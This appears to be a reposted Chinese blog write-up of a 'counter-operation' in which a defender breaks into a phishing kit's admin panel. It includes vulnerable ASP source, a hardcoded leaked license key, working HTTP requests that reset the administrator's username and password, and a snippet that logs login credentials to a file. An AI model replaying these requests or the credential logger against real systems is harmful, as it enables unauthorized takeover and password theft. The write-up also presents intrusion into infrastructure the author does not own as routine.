越權漏洞反制釣魚網站


 


這次的案件源自於很久以前外部HC單位對某司的釣魚攻擊。文章中的源碼是ASP版本的釣魚框架紫X,但是ASP源碼中存在越權訪問漏洞所以可以才得以打到攻擊者的后台。在同段IP的掃描中根據中間件的版權信息可以獲取同類型的釣魚管理后台。詳細內容在后續章節逐一介紹攻破思路和方法。

一、事件背景

企業郵箱收到了仿造Outlook Web App界面的釣魚郵件。應該是想要釣魚我們公司員工的郵箱賬戶。攻擊者Outlook釣魚頁面:


 

二、反制過程

滲透測試是紅隊人員對目標單位的攻擊,反制是目標單位的藍隊人員對紅隊人員的反向滲透測試。所以把這個反紅隊過程也叫做反制。反制和滲透測試一個正常網站沒有差別。除了對目標IP的信息收集、漏洞挖掘外增加了同類系統擴展掃描、受控范圍定位、人頭威脅情報的搜索。通用行業的滲透講究找出漏洞防患於未然,反制更多是對攻擊者的一系列資產搜集,然后挖出受控者和攻擊者的身份信息為主。

 

信息收集

面對單個IP的信息收集,常用的方法是敏感文件、端口掃描、弱口令測試、旁站域名。這里有一個技巧,主要的C2找不到后台的時候,掃描端口再做目錄掃描是可以有幾率得到其他后台信息的。攻擊者一樣會做應用和管理后台分離訪問。圖中的2301端口就是可疑端口,下圖是端口掃描的結果:

弱口令漏洞挖掘

除了SSH和RDP暴力破解外,這些服務性質的端口是可以嘗試的。掃描出來的21服務類端口FTP做口令破解,可以看到FTP有匿名訪問,但登錄之后訪問不到WEB文件。

祭出dirsearch對后台做目錄掃描, 對80端口掃描不出敏感文件的時候,換到不同端口再嘗試掃描網頁文件。這次切換的是2301端口敏感文件掃描得到后台頁面:http://xxx.xxx.xxx.xxx:2301/admin.asp。其中比較有用的信息,MANAGEQQ 管理系統,紫X設計工作室(WWW.CKZZ.NET)

掃描出來的后台已經暴露出釣魚程序名稱、版本年限、端口、源碼里面也有特別的字符,在百度網盤搜索引擎搜索能得到很多結果。 花時間在找源碼的過程比較長,復現文章時網盤搜索已經搜索不出來了,僅存的幾個ASP源碼已經取消分享。以下是我在百度網盤搜索引擎里搜索得到的紫X釣魚源碼架構截圖:

搭建起來版本號是20150502的,跟目標源碼長得不太一樣。但是測試的幾個文件都是跟目標站一樣的。后台樣式截圖如下:

ASP代碼審計跟審計其他腳本語言區別不大,我覺得小語種代碼審計雖然沒有編輯器可以很方便調試輸出結果,但是利用輸出語句和條件判斷、終止語句能跑起來就可以實現對小語種代碼審計,因為調試器起到的作用就是斷點和輸出變量的作用而已,熟悉原理一樣可以實現調試和分析。
ASP調試和執行SQL語句的方法說明:

輸出語句
Response.Write ""&username&"' ------ '"&password&"" 數據庫操作 set rs=server.CreateObject("adodb.recordset") ‘建立一個數據集 set rs=server.CreateObject("adodb.recordset") ‘建立一個數據集的實例 rs.open ...... ‘打開一個記錄集 rs.addnew ‘添加記錄到數據表末端 rs.update ‘更新數據表記錄 

這款ASP釣魚源碼比較簡單,沒有上傳、命令執行類漏洞可以直接利用,XSS之前已經黑盒子試過了沒有反饋,感覺應該是做了過濾。況且已經掃到后台地址,拿到源碼后先看看有沒有機會可以越權進后台頁面拿到受控者的數據。
從配置文件開始找起,在WEB根目錄里的Web.box文件89行,可以看到訪問2301端口是指向管理后台目錄\wwwroot_Manager_##_#@#。

# 設置NetBox.HttpServer對象 Set http3 = CreateObject("NetBox.HttpServer") # 監聽2301端口 If http3.Create("", "2301") = 0 Then # 添加訪問目錄 Set www = http3.AddHost("", "\wwwroot\_Manager_##_#@#") www.EnableScript = true www.AddDefault "ckzz_ec.asp" http3.Start end if 

搜索紫X設計工作室(WWW.CKZZ.NET) 在wwwroot_manager_##_#@#\index.asp找到了后台登錄驗證頁面。自己下載一個netbox加載web.box就可以脫離紫X已經封裝好的源碼了, 因為配置參數都是默認有的。后台的界面比較少,沒找到可以不登錄就直接訪問的頁面。遂放棄~

SQL注入

源碼很多地方都是沒有過濾就調用外部傳參的變量。管理員表Manager,字段名ZY_UserName、ZY_PassWord。密碼加密方式有點變態,SQL注入出來密文稍微復雜點的明文密碼肯定是解不開了。

數據庫表名搜索到的查詢語句部分傳參到數據庫中查詢,但是SQL注入讀取出來的密碼很難解開的。原理是先用sha256加密了一次除去密碼的空格,然后用base64Encode編碼后再sha256加密一次,具體源碼部分如下:

# 數據庫查詢部分 sql="Select * from Manager where ZY_UserName='" & username &"' and ZY_PassWord='"& PassWord &"'" # 密碼加密方式 password=sha256(base64Encode(sha256(replace(trim(request("password")),"'","")))) 

登錄部分不會解開密文成明文,而是把用戶登錄的明文密碼用同樣加密方式把明文密碼加密后對比存在數據庫里的密文密碼。當時釣魚站點存在的時候由於Access數據庫的SQL注入不知道WEB目錄的絕對路徑,沒法導出webshell。也就直接放棄繼續搜索SQL注入的想法。登錄界面認證部分代碼wwwroot_manager_##_#@#\index.asp 23~52行:

'提交驗證開始 if Request.form.count>0 then ip=request.ServerVariables("REMOTE_ADDR") session("fileget")=Server.MapPath(".") ‘ 接收用戶名 username=replace(trim(request("username")),"'","") ‘ 加密密碼對比數據庫里的密文 password=sha256(base64Encode(sha256(replace(trim(request("password")),"'","")))) Session("passwordup")=base64Encode(sha256(base64Encode(mid(sha256(request.form("passwordup")),16,32)+mid(Reg("ckzz_gen_key"),8,16)))) CheckCode=replace(trim(request("CheckCode")),"'","") '判斷管理帳戶和密碼不能為空 If username="" or password="" then Call Box("管理帳戶和登入密碼不能填空!") End if '判斷驗證碼 If cstr(trim(session("getcode"))) <> cstr(trim(Request("code"))) then Call boxurl("驗證碼錯誤,返回重新輸入!","?") End If '驗證開始 set Rs=Server.CreateObject("adodb.recordset") sql="Select * from Manager where ZY_UserName='" & username &"' and ZY_PassWord='"& PassWord &"'" rs.open sql,conn,1,1 if rs.eof and rs.bof then Call Infozt("登入帳戶或密碼錯誤!") Call Box("管理帳戶或登入密碼不正確,請重新輸入!") else '帳戶被禁用或遠程關閉 if rs("kick")=true then Call Infozt("登入帳戶已禁用!") Call Box("管理帳戶被禁用或於主站關閉登錄權限!") end if Call Infozt("登入密碼驗證完成,登錄成功!") 

越權修改密碼漏洞挖掘

當已經確認SQL注入搞下來密碼也破解不開密文,而且進了后台也不一定拿SHELL后。就把找越權訪問漏洞、SQL注入漏洞、XSS漏洞思路變換為找越權修改漏洞,因為反制未必需要webshell才能做到追蹤攻擊者。我按照rs.update更新數據表記錄找了4處越權修改管理員密碼漏洞。每一個都比上一個驗證玄幻。Haha~

越權1-越權修改密碼

第1處越權修改密碼漏洞主要是源自於紫X是商業釣魚框架,所以需要授權碼才能使用,但是網上的破解版本似乎泄露的授權碼都是一樣的。所以造成了這個漏洞。
搜索request()函數找調用參數的時候發現/ckzz_ec.asp文件的傳參可以控制。接收的key參數跟數據庫里的ckzz_gen_key字段匹配就可以修改管理員密碼、重啟服務。

# 接收action參數 If Request("action")="manager" Then dim username,password1,password2,rss Set Reg = Conn.Execute("Select * from ckzz_reg") username=request("username") password1=request("password") password2=request("tpassword") # 接收key參數 key=request("key") if password1<>password2 then response.write "passerror" response.end End if # key參數與數據庫表里的ckzz_gen_key對比,如果錯誤就結束后續操作 if key<>Reg("ckzz_gen_key") then response.write "keyerror" response.end set reg=nothing End If # 最后修改管理員密碼 set rs = Server.CreateObject("ADODB.RecordSet") sql = "select * from Manager where zy_username='"&username&"'" rs.open sql,conn,1,3 rs("zy_password")=sha256(base64Encode(sha256(password1))) rs.update 

那么從代碼看ckzz_gen_key是一個很重要的值,找數據庫看看表結構就可以清楚作用了。直接查看MDB數據庫發現是有密碼加密的。那么只好翻數據庫配置文件,然后看看正常邏輯下是怎么調用的數據庫。

<% Dim Conn,Connstr # &Netbox("DB")& 應該就是數據庫的相對路徑 Connstr="Provider=Microsoft.Jet.OLEDB.4.0;data source="& Server.MapPath("../../Ckzz_DataBase/"&Netbox("DB")&"")&";persist security info=false;jet OLEDB:Database Password="&Netbox("DBP")&"" Set Conn=Server.CreateObject("adodb.connection") Conn.Open Connstr %> 

NetBox("DBP")應該就是數據庫的路徑位置。然后全局搜索發現NetBox("DBP")是調用的web.box里11~14行。Zy.dll里的CKZZ_DB()函數:

Shell.RegisterServer "ZY.DLL" Shell.RegisterServer "Jmail.dll" Set ZYQQ = Netbox.CreateObject("ZY.QQ") path =NetBox.ApplicationPath NetBox.ConfigFile = path & "ManageQQ.ini" NetBox("DB")=ZYQQ.CKZZ_DB(1) NetBox("DBP")=ZYQQ.CKZZ_DB(2) 

ZY.DLL查殼是Microsoft Visual Basic 6.0 DLL寫的DLL,VB寫的二進制文件可以反編譯看代碼。這里可以看到反編譯后的代碼數據庫調用路徑是是###www.ckzz.net###.accdb。數據庫的加密密碼是:www.ckzz.net.acc2003

打開數據庫得到Ckzz_gen_key字段的值是94ebb60031c67eb0b42774de007dad3b,這段就是釣魚程序的授權驗證碼。

好的,拿出這個泄露后濫用的授權碼,構造HTTP數據包在本地測試一下。

GET /ckzz_ec.asp?action=manager&username=admin&password=admin&tpassword=admin&key=94ebb60031c67eb0b42774de007dad3b HTTP/1.1 Host: 192.168.229.128:2301 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: LRFZKRHDQNCTVVIMERCO=CKSRDIZMQNDMCSWBOWRWYNLJPTLUJUTFOCUYJOZC; OTOUPMOKFXIWFSKOEQID=MZGVGBDHXVMUHLEZWMCZXMZWEDNBJXXQGTUYSTZB Connection: close 

密碼修改成功效果,顯示出editok的時候,就感覺已經修改成功了。:

為了驗證數據庫里的密碼是不是已經被修改了。我使用程序后台界面自帶的sha12base642sha1的加密函數把明文密碼加密后的密文跟數據庫里的密文對比了一下,為了驗證我寫了一段記錄后台賬戶密碼的ASP代碼。往登錄界面一插就能用,然后用正確密碼登錄之后截取明文密碼加密后的密文,后面越權漏洞改管理員密文的時候還可以用到這幾段密文。

dim fs,f,sw
Set fs = Server.CreateObject("Scripting.FileSystemObject") Const saveFilePath = "c:\test.txt" if fs.FileExists(saveFilePath) then set f=fs.OpenTextFile(saveFilePath,8,true) f.WriteLine("'"&username&"' ------ '"&password&"'") f.Close else Set f = fs.CreateTextFile(saveFilePath, True) f.WriteLine("'"&username&"' ------ '"&password&"'") f.Close end if set f=Nothing set fs=nothing 對應的密文: 'admin' ------ '70a647030002098aea97e7fcfa35fdcbf5cd5890f3de45af1df654f0995eb816' 'admin1' ------ '171da850864661785aadecc3c725ef378f514cc823cedbdd427ce7fd4522923d' '123456' ------ '39dc0e09acb949e9369083ca020d044e6e1016505cc0505e6bf19bbbf8835cb7' 

真實環境測試不需要二級密碼也可以修改管理員密碼,可能是跟釣魚頁面源碼用的攻擊者都使用同一個授權key有關系。二級密碼驗證部分的代碼被注釋了。這個故事告訴我,白嫖雖然香,但也容易出問題~。
原后台雖然有個登錄框會向遠程服務器地址發HTTP請求獲取二級密碼做驗證。但是我從ZY.DLL提取到的二級密碼獲取網址已經掛了。所以這里的測試不需要二級密碼驗證也可以正常登錄。

越權2-越權修改用戶名

第2處越權是發現可以通過授權key修改管理員密碼之后,順着這個線索又發現通過授權key可以做很多操作。看文件名,這套釣魚源碼框架似乎還可以通過API文件操作修改賬戶信息。比如Ckzz_manager_api.asp 5行~38行。如果修改密碼失敗,還可以用key值修改用戶名。也就意味着就算管理員改了admin默認名賬戶,我依舊把改掉管理員的賬戶成admin,再改管理員密碼。

# 修改用戶名操作,先接收要修改的管理員名字 if Request.QueryString("action")="edit_username" then username = trim(request("username")) key = trim(request("key")) if username="" then response.write "error" response.end() end if reg_sql="select * from ckzz_reg" set reg_rs=Server.CreateObject("ADODB.Recordset") reg_rs.open reg_sql,conn,1,1 # key參數與數據庫表里的ckzz_gen_key對比,如果錯誤就結束后續操作 if reg_rs("ckzz_gen_key")<>key then response.write "error" response.end() end if # 修改管理員賬戶 set rs = Server.CreateObject("ADODB.RecordSet") sql = "select * from Manager where id=1" rs.open sql,conn,1,3 rs("zy_username")=username rs.update rs.close # 增加一條數據庫記錄 set rs = nothing set reg_rs = nothing set rss=Server.CreateObject("adodb.recordset") sql="select * from log" rss.open sql,conn,2,3 rss.addnew rss("user_name")="WWW.CKZZ.NET" rss("user_ip")=request.ServerVariables("REMOTE_ADDR") rss("times")=now() rss("zhuangtai")="程序管理主站修改後臺帳戶,新帳戶為:"&username rss.update response.write "ok" response.end() end if 

對比數據庫確實成功修改了用戶名,為了修改用戶名構造的HTTP數據包如下:

GET /ckzz_manager_api.asp?action=edit_username&username=admin&key=94ebb60031c67eb0b42774de007dad3b HTTP/1.1 Host: localhost:2301 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 

越權3-越權修改密碼

前面的代碼已經可以看出通過API文件操作可以修改賬戶Ckzz_manager_api.asp。繼續分析Ckzz_manager_api.asp 39行~72行,發現還是可以用key值修改密碼。

# 接收要修改的密碼 if Request.QueryString("action")="edit_password" then password = trim(request("password")) key = trim(request("key")) if password="" then response.write "error" response.end() end if reg_sql="select * from ckzz_reg" set reg_rs=Server.CreateObject("ADODB.Recordset") reg_rs.open reg_sql,conn,1,1 # key參數與數據庫表里的ckzz_gen_key對比,如果錯誤就結束后續操作 if reg_rs("ckzz_gen_key")<>key then response.write "error" response.end() end if # 修改ID=1的記錄里的密碼 set rs = Server.CreateObject("ADODB.RecordSet") sql = "select * from manager where id=1" rs.open sql,conn,1,3 rs("zy_password")=sha256(base64Encode(sha256(password))) rs.update rs.close set rs = nothing set reg_rs = nothing set rss=Server.CreateObject("adodb.recordset") sql="select * from log" rss.open sql,conn,2,3 rss.addnew rss("user_name")="WWW.CKZZ.NET" rss("user_ip")=request.ServerVariables("REMOTE_ADDR") rss("times")=now() rss("zhuangtai")="程序管理主站修改後臺密碼,新密碼為:"&password rss.update response.write "ok" response.end() end if 

構造數據包,用admin1的密文是
171da850864661785aadecc3c725ef378f514cc823cedbdd427ce7fd4522923d。對比數據庫里的密文值,又修改成功了:


GET /ckzz_manager_api.asp?action=edit_password&password=admin1&key=94ebb60031c67eb0b42774de007dad3b HTTP/1.1 Host: localhost:2301 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 

越權4-弱條件修改用戶名&密碼

第4處越權修改用戶名和密碼的漏洞。只要判斷是不是有cookie值而不需要登錄成功也可以執行修改賬戶密碼的操作。
仔細分析ckzz_manager.asp這個文件,。10行~40行代碼。ID為空就越權修改用戶表第一條記錄的用戶密碼。ID不為空還能越權修改用戶名,具體代碼如下:

# 接收參數為edit_manager if Request.QueryString("action")="edit_manager" then id = trim(request.form("masterid")) password = trim(request.form("password")) repassword = trim(request.form("repassword")) # 如果repassword跟password參數相等,並且不為空就通過驗證 if password=repassword and repassword<>"" then set rs = Server.CreateObject("ADODB.RecordSet") sql = "select * from manager where id=1" rs.open sql,conn,1,3 # 等於空就修改密碼 if id="" then rs("zy_password")=sha256(base64Encode(sha256(password))) rs.update rs.close set rs = nothing set rss=server.CreateObject("adodb.recordset") sql="select * from log" rss.open sql,conn,2,3 rss.addnew # 賦值session("admin") rss("user_name")=session("admin") rss("user_ip")=request.ServerVariables("REMOTE_ADDR") rss("times")=now() rss("zhuangtai")="修改後臺密碼,新密碼:"&password rss.update # 不等於空就修改用戶名和密碼 end if if id<>"" then rs("zy_username")=id rs("password")=sha256(base64Encode(sha256(password))) rs.update rs.close set rs = nothing 

構造數據包:

POST /ckzz_manager.asp?action=edit_manager HTTP/1.1 Host: localhost:2301 Content-Length: 41 Cache-Control: max-age=0 Origin: http://localhost:2301 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://localhost:2301/index.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: GGOQPPUJGYTZLLPQEVMT=FTTGSOBVCLRDXIIQDKCTHFNCTPAUBWNVQGWEUSID; ts_uid=9255500360; LQAZPFPBDVYRXSJYFBEM=GFGVTJKZPZBGXXZGGLRZKJGYXRXWWFJTMGHNRCJR; GFVJPNNMAPEHZFPDTCDN=SKALNLNSTBIIOSPSFRENTXXFTKBMJPQDJBGXMTEU; ZZZUNOAQTQJRYRVYWWME=DDCJYWLVVADMRTDDDJZJCLOJCKPITYYAABBMRTES; QCUMJQUFSFTTAOOFXLYS=ABSXGDZGTYUFCFSSEUVZJQHIOGWJLAAMYPUWVSYF; QRPHUYXBKFAJADLUAPMZ=INJNKFQTDNRYVBLMJEPUEQRBLGFDSXYZRGZVYWRW; cs=Robot/%3FXTWJBTDNNQVRCQHHCOFLZMOGDLRGEKXVPLTUAIHC; ZBDUWICVXKRMTPZCQEHZ=SPISPZEULDQPJHRMCIBLPVISLZKWHABMYOANDKYK; DHDYCBOINVIOMKIPOKSG=FEFZNNVESNTMDLTZGNDDXDPHFWNBMTHUCTSZKOPG Connection: close masterid=&password=admin&repassword=admin 

觸發這個漏洞要經過/include/Check.asp文件2行6行的驗證。可是這個條件其實是在訪問登錄后台index.asp頁面的時候有過賦值session("fileget")=Server.MapPath(".")。這樣的話只要把index.asp的驗證cookie替換到我構造的數據包里就能實現任意修改用戶名和密碼了,不再受之前那幾個越權改密碼還需要授權key的限制。只要訪問下管理員后台首頁得到會話值,/include/Check.asp文件2行6行的驗證代碼如下:

if session("fileget")<>Server.MapPath(".") then Session.Abandon() Response.Write("<script>alert('目錄認證錯誤,請返回重新登錄!');top.location='index.asp';</script>") Response.end rs.close 

三、梳理攻擊者信息

進了后台后先記錄下后台登錄IP:1xx.xxx.xxx.xxx、xxx.xxx.xxx.2xx,信封XX封

資產掃描

通過端口、中間件信息掃描獲取同類型釣魚網站的范圍。

發件郵箱判斷受控

翻發件郵箱里的IP:XXX.XXX.XX.XX反查綁定的域名發現是一個公司的網站,應該是正常的。而直接訪問是通達OA?看起來很像是正常單位被搞了作為跳板。

再后續反查釣魚網站域名的訪問量、Whois得到注冊人QQ就不展開了。

 

四、總結

總結其實是很重要的,我把所有嘗試失敗的過程都寫進去,因為順暢的過程記錄未必是最好的。只是這樣的方法更適合我自己。這次反制成功的線路復盤是這樣的。

  • 1、WEB 80端口掃描不出來敏感信息,掃描到不同端口再嘗試掃描網頁文件。得到攻擊者后台
  • 2、通過后台的「紫X設計工作室(WWW.CKZZ.NET)」 的字符串,在百度網盤找到源碼
  • 3、審計常規SQL注入漏洞、上傳漏洞發現沒有可以利用的地方,轉向越權漏洞,發現可以修改管理員密碼可以進去后台
  • 4、釣魚源碼里面有一個授權KEY是固定的。可以用來修改管理員密碼
  • 5、不知道管理員用戶名的情況下,可以用授權KEY修改管理員用戶名
  • 6、API接口文件也可以調用授權KEY修改管理員密碼
  • 7、后台改密碼文件只驗證有沒有cookie值存在作為判斷修改密碼條件,而不判斷cookie是不是成功登錄狀態
  • 8、通過上線信封來判斷受害者身份和數量、IP地址
  • 9、通過管理員登錄后台IP地區判斷攻擊者的IP

五、最后

紫X釣魚服務器是放在阿里雲的,很早之前被端過。貌似有人提到過這套系統有其他漏洞,但不願意說方法。我感覺技術遲早會過時,沒有什么好保密的。復盤自己的知識點是為了與同樣愛好者共同進步和提升。我原帖寫在吐司論壇:https://www.t00ls.net/thread-58941-1-1.html,

釣魚源碼和資產收集工具也丟了進去。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM